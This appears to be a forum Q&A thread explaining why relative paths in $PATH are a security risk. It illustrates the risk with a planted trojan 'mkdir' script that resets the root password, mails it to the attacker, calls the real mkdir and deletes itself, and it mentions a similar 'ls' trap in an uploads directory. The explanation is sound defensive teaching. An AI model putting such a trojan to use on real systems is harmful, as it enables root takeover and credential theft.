Security implications of using relative paths in the PATH enivronmental variable?
There are two problems with the path you are using.
- The path is relative.
- The relative path comes before the main paths.
Lets presume you have the following shell script you use as root to update some web application and you have set the
$PATH being used in
#!/bin/bash pushd /dev/shm git clone http://some/git/path/web_app cp -a web_app /var/www/html rm -fr web_app popd
To a attacker you are providing a means to execute something in the shell which is controlled by the said attacker. A form of attack would look like this - where I am attempting to subvert control of the
mkdir call in the vulnerable script.
attacker$ cd /dev/shm attacker$ mkdir -p apps/java/bin attacker$ vi apps/java/bin/mkdir #!/bin/bash echo "some_random_password" | passwd --stdin root echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected] /bin/mkdir [email protected] rm -fr /dev/shm/apps attacker$ chmod +x apps/java/bin/mkdir
Then I wait for you to update your webapp.
Now what happens, is that the vulnerable script switches to
/dev/shm. When it does this and runs
mkdir it finds the
apps/java/bin/mkdir program first, which in this case resets the root password, emails the attacker of the new root password, actually calls the real
mkdir (to hide the fact anything has actually happened) and removes itself from the attack path.
As root, you've got no idea what happened and the evidence is erased once the payload was delivered.
The problem with having a relative path in $PATH is that if an attacker can create a file with a given name in your filesystem, you risk executing that file.
df or monitoring says /var is full,
du says it's
/var/spool/ftp/uploads, what do you do?
cd /var/spool/ftp/uploads ls -ltr
and you are owned. You don't even see
ls in the output, so you'll never know.
Replace ftp uploads with some data directory of some client website, or the /tmp directory of a shared machine, or a lot of other things.
Admittedly it won't happen often, but the risk exists, and writing
./script instead of
script is easy.